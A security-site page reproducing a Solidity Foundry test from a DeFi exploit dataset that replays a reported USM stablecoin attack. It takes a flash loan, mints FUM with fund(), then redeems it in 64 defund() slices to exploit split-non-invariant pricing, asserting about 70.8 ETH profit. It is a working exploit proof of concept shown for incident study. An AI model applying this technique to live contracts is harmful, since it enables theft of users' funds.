Skip to content
THREATWIRE

Public reproduction file

src/test/2026-08/USM_exp.sol

Public reproduction file for dataset entry USM.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-08/USM_exp.sol120 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import "forge-std/Test.sol";
5
6// USM (Minimalist USD stablecoin) — split-invariance flaw in the FUM redemption curve.
7// ~70.8 ETH drained on Ethereum, Aug 2026.
8//
9// Attacker EOA: 0xb92b2E47680c89DA8f951B8963ef469f461a50Fc
10// Attacker contract: 0x5a5e29ba89663a3558273354E990426F3cAc7de7
11// Victim (USM): 0x2a7FFf44C19f39468064ab5e5c304De01D591675
12// FUM token: 0x86729873e3b88DE2Ab85CA292D6d6D69D548eDF3
13// Flash lender: Morpho Blue 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb (WETH, 0 fee)
14// Exploit tx: 0xfae5e751b8ce01457cbb6b529839f24a0cff50faaabcbd0fd02ca0cf559b050e (block 25716150)
15//
16// Root cause (verified against the on-chain trace of the exploit tx):
17// USM's defund() redeems FUM for ETH. The ETH paid for a redemption is priced off the
18// arithmetic mean of the CURRENT FUM sell price and the ESTIMATED FINAL FUM sell price after
19// the redemption, and each defund() also contracts internal state (adjShrinkFactor). That
20// averaging is not "split invariant": redeeming one large FUM amount in a single defund() pays
21// strictly LESS ETH than redeeming the same total FUM amount as many small equal slices across
22// consecutive defund() calls. The per-call state contraction plus integer rounding compound the
23// gap. The attacker minted a large FUM position with fund(), then redeemed it in 64 equal
24// slices instead of one, extracting more ETH than it paid in.
25//
26// This is a pure pricing/rounding logic bug, NOT price manipulation. The Chainlink/Uniswap TWAP
27// oracle reads are identical before and during the attack (same latestPrice() return every call
28// in the trace); nothing about the ETH/USD price is moved. The flash loan only supplies working
29// capital to fund() a big FUM position — it is not used to move any price.
30//
31// Access check (confirmed from the trace): every fund() and defund() in the sequence is a plain
32// permissionless public call made by the attacker contract inside the Morpho flash-loan callback.
33// No signer, no admin role, no privileged path. fund(to, minFumOut) and defund(to, fumToBurn,
34// minEthOut) are open to any caller.
35//
36// PoC strategy: fork one block before the exploit and replay the exact sequence against the real
37// USM and FUM contracts (most faithful — the actual on-chain FUM pricing math runs, no
38// reimplementation): Morpho flash-loan 11,579.978 WETH -> unwrap -> fund() the whole amount ->
39// 64 defund() calls of ~971,629 FUM each (the same split the attacker used) -> rewrap and repay.
40// Assert net ETH gain lands near the reported ~70.8 ETH.
41//
42// Run: forge test --contracts ./src/test/2026-08/USM_exp.sol -vvv
44interface IWETH {
45 function deposit() external payable;
46 function withdraw(uint256) external;
47 function approve(address, uint256) external returns (bool);
48 function balanceOf(address) external view returns (uint256);
51interface IMorpho {
52 function flashLoan(address token, uint256 assets, bytes calldata data) external;
55interface IUSM {
56 function fund(address to, uint256 minFumOut) external payable returns (uint256);
57 function defund(address to, uint256 fumToBurn, uint256 minEthOut) external returns (uint256);
58 function fum() external view returns (address);
61interface IERC20 {
62 function balanceOf(address) external view returns (uint256);
65contract USMExp is Test {
66 IMorpho constant MORPHO = IMorpho(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
67 IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
68 IUSM constant USM = IUSM(0x2a7FFf44C19f39468064ab5e5c304De01D591675);
69 IERC20 constant FUM = IERC20(0x86729873e3b88DE2Ab85CA292D6d6D69D548eDF3);
71 // Full WETH flash-loan taken in the real tx (0 fee on Morpho Blue).
72 uint256 constant LOAN = 11_579_978_354_608_392_803_524;
73 // Per-slice FUM burned per defund(); the attacker split the whole FUM position into 64 slices.
74 uint256 constant SLICE = 971_629_672_368_796_643_705_078;
75 uint256 constant SLICES = 64;
77 function setUp() public {
78 vm.createSelectFork("mainnet", 25716149); // one block before the exploit tx
79 }
81 function testExploit() public {
82 vm.deal(address(this), 0); // start from zero so the delta is pure exploit profit
83 emit log_named_decimal_uint("attacker ETH before", address(this).balance, 18);
85 MORPHO.flashLoan(address(WETH), LOAN, "");
87 uint256 profit = address(this).balance;
88 emit log_named_decimal_uint("attacker ETH after (net profit)", profit, 18);
90 // Split redemption nets more ETH than the flash-loan principal repaid: pure profit.
91 assertGt(profit, 70 ether, "expected ~70.8 ETH profit");
92 assertApproxEqAbs(profit, 70.8 ether, 1 ether, "profit should land near reported ~70.8 ETH");
93 }
95 // Morpho flash-loan callback.
96 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {
97 require(msg.sender == address(MORPHO), "only morpho");
99 // Unwrap the borrowed WETH to native ETH.
100 WETH.withdraw(assets);
102 // Mint a large FUM position with a single fund() of the whole amount.
103 USM.fund{value: assets}(address(this), 0);
105 uint256 fumBal = FUM.balanceOf(address(this));
107 // The bug: redeem the same total FUM in many small equal slices instead of one call.
108 // 63 fixed slices, then whatever remains so the entire position is burned.
109 for (uint256 i = 0; i < SLICES - 1; i++) {
110 USM.defund(address(this), SLICE, 0);
111 }
112 USM.defund(address(this), FUM.balanceOf(address(this)), 0);
114 // Rewrap exactly the borrowed principal and let Morpho pull it back (no fee).
115 WETH.deposit{value: assets}();
116 WETH.approve(address(MORPHO), assets);
117 }
119 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “USM” (2026-08-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb92b2e47680c89da8f951b8963ef469f461a50fc

  • Attacker

    0x5a5e29ba89663a3558273354e990426f3cac7de7

  • Victim

    0x2a7fff44c19f39468064ab5e5c304de01d591675

File record

Name
USM
Path
src/test/2026-08/USM_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1651dc3c1d134d994b694d1a518e0f75ea79f057
Language
Solidity
Size
121 lines
Date
2026-08-09
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-08/USM_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1651dc3c1d134d994b694d1a518e0f75ea79f057, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.